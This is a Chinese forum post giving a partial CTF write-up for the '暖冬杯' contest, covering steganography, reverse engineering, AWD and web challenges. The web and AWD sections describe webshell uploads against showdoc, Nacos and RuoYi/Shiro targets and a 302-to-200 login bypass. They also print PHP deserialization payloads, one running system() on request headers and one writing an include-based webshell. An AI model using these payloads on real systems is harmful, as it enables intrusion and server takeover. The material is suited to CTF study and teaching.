zkaq 暖冬杯部分WP

君叹   ·   发表于 2023-11-29 23:32:39   ·   CTF&WP专版

暖冬杯

以下题目没有做出来,如果是找下面几道题目的题解的话就不用浪费时间了
MISC: Cryptography
AWD: 小小bypass; 什么注?; 夺宝

用到的工具都在附件里

Misc

1 这是邹节伦的桌面背景图

图片中藏了个zip


后缀改 zip 得到


有两个长得一样的图片
联想到双图隐写
使用盲水影工具 blindwatermark 得到水印图
工具需要安装opencv

pip install opencv-python

分解命令:

python bwmforpy3.py decode 原图 信息图 flag.png --oldseed

能看到

key:Ctf-Game-start
将key作为密码解压flag.txt
得到 flag

2 什么鬼?这是图片?

下载图片拖到winhex打开后
看到翻转过来的文件头


推测是将文件8个字节为一组,反转字节
python脚本:

3 五颜六色的图片

文件名叫 RGB 里又秘密
使用工具Stegsolve 打开


将RGB通道的字节全部勾选上
发现显示出来的内容是一个ZIP文件的样式
保存为ZIP文件


得到flag

4 流量分析
过滤 http 流量
发现利用sql注入上传了木马


追踪木马流量发现flag(ctf_game).zip


下一个报文下载了 PK 头文件,其中含有flag.txt 文件


将数据转换为原始数据
过滤服务器发送回来的数据包


另存为后得到zip文件

将 ctf_game 作为密码打开加密文件flag.txt

得到flag

REVERSE

1 XOR

用IDA打开文件


程序首先判断我们输入的内容长度是否为 33
不是则跳转
这里可以推断出flag长度是33位
再看后面的逻辑
输入内容每一位要跟前一个字符异或
异或后跟 global 字符串对比
相同输出 Success
那么跟踪 global 字符串


将内容复制下来
python脚本:

输出结果:

2 init

用IDA打开


关键部分逻辑:


s是我们输入的字符串
我们输入的字符串会与 i(下标) 进行异或运算
也就是第一个字符异或0
第二个字符异或1
以此类推
进入compare函数


首先写了 a1 长度如果不等于32位
直接报错
依此得出,flag长度为32位
然会和 final 中的字符依次比较
找到 final 字符串


将内容复制下来
写个脚本恢复
python脚本:

输出结果:

AWD

1 漏洞挖掘—签到题

nacos


利用nacos未授权注册账号


然后登录
flag在配置列表中


现在没有,应该是被谁删了

2 开胃小菜

若依CMS

题目提示了4.5版本
4.5版本存在前台shiro rememberMe漏洞
使用工具 LiqunKit 一把梭

3 老day装新酒

根据title可以看到CMS名称叫showdoc
showdoc存在任意文件上传漏洞
构造数据包上传木马


连接

5 有点东西,传什么?

进去之后点忘记密码会提示默认管理员账号密码


输入错误的账号密码会提示错误
用正确的账号密码没有反应
抓包

截取返回包


发现这里是302
改成200

尝试访问/home
同样的截取返回包
发现有后台内容
但是返回响应仍然是302

改成200

成功进入

但是后续点击什么按钮
都会像上面一样
返回正常内容但是报302
在burp中更改设置


这样burp就会帮我们自动修改响应包里的内容了
点击产品列表
新增产品
发现可以上传图片


尝试上传木马

上传成功并给出了木马路径
使用蚁剑连接

web

1 签到: 又一个计算题

修改html,使得可以输入3位


提交 100
在回答正确的消息头中发现flag

2 计算器

在计算器界面输入 ssti 的payload
因为开启了debug模式
会报错并显示app.py文件的内容

将html复制到文件中打开
效果如下

阅读代码发现存在 admin 路由
并且泄露了key


同时也可以看到其中启用了session

访问admin路由提示需要登录

利用工具 flasksessioncookiemanager 中的代码
复制下来
把 if “_name
” == __main
那段删掉
然后添加如下代码


qwe是ssti的payload
原本 qwe 在测试是是一个用户名 admin
我用这个session 登录后提示我
hello admin
联想到此处可能存在ssti
然后将 admin 改成 {{ 3 * 3}}
是将生成session值中的 admin 进行修改
发现显示
hello 9
可以运算
存在ssti
然后换成上面的payload开始利用
flag 在 flag.py 中

3 反序列化

程序有两个点


第一个是不能以O开头
就是最下面if那些
第二个点是
eval() 中,会拼接 givemegirlfriend! 字符串

解决办法是
1 通过 php 的内置类 splstack 产出开头是 C 的序列化数据
2 用 __halt_compiler(); 中断编译器的执行,从而绕过后面的字符串
payload 如下

<?php 
class evil{
    public $cmd;
    public $a;
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

4 又一个反序列化

链式反序列化
题目代码

<?php
class A
{
    public $hacker;
    public  function __toString()
    {
        echo $this->hacker->name;
        return "";
    }
}
class C
{
    public $finish;
    public function __get($value)
    {
        $this->finish->hacker();
        echo 'nonono';
    }
}
class E
{
    public $hacker;

    public  function __invoke($parms1)
    {   
        echo $parms1;
        $this->hacker->welcome();
    }
}
class H
{
    public $username="admin";
    public function __destruct()
    {
        $this->welcome();

    }
    public  function welcome()
    {
        echo "welcome~ ".$this->username;
    }
}
class K
{
    public $func;
    public function __call($method,$args)
    {
        call_user_func($this->func,'welcome');
    }
}
class R
{
    private $method;
    private $args;

    public  function welcome()
    {
        if ($this->key === true && $this->finish1->name) {
            if ($this->finish->finish) {
                call_user_func_array($this->method,$this->args);
            }
        }
    }
}
function nonono($a){
    $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
    return preg_replace($filter,'',$a);
}
if (isset($_POST["po_p.er"])){
    unserialize(nonono($_POST["po_p.er"]));
}else{
    show_source(__FILE__);
}
?>

exp关键部分

<?php
class R
{
private $method = 'file_put_contents';
private $args= array('5.php', '<?php @include($_REQUEST["abandon"]);?>');
}
$a = new H();
$a -> username = new A();
$a -> username -> hacker = new C();
$a -> username -> hacker -> finish = new K();
$a -> username -> hacker -> finish -> func = new E();
$a -> username -> hacker -> finish -> func -> hacker =new R();
$a -> username -> hacker -> finish -> func -> hacker -> key = true;
$a -> username -> hacker -> finish -> func -> hacker -> finish1 = new C();
$a -> username -> hacker -> finish -> func -> hacker -> finish1 -> name = 1;
$a -> username -> hacker -> finish -> func -> hacker -> finish = new C();
$a -> username -> hacker -> finish -> func -> hacker -> finish -> finish = 1;
echo urlencode(serialize($a));

利用回调函数写木马
再用木马找flag

用户名金币积分时间理由
Track-魔方 200.00 0 2023-12-06 19:07:32 200 wp

打赏我,让我更有动力~

附件列表

BlindWaterMark-master.zip   文件大小:2.897M (下载次数:0)   售价:5

Stegsolve.zip   文件大小:0.069M (下载次数:0)   售价:5

flask_session_cookie_manager3.zip   文件大小:0.001M (下载次数:0)   售价:5

LiqunKit_1.5.zip   文件大小:42.045M (下载次数:0)   售价:20

0 条回复   |  直到 4个月前 | 251 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.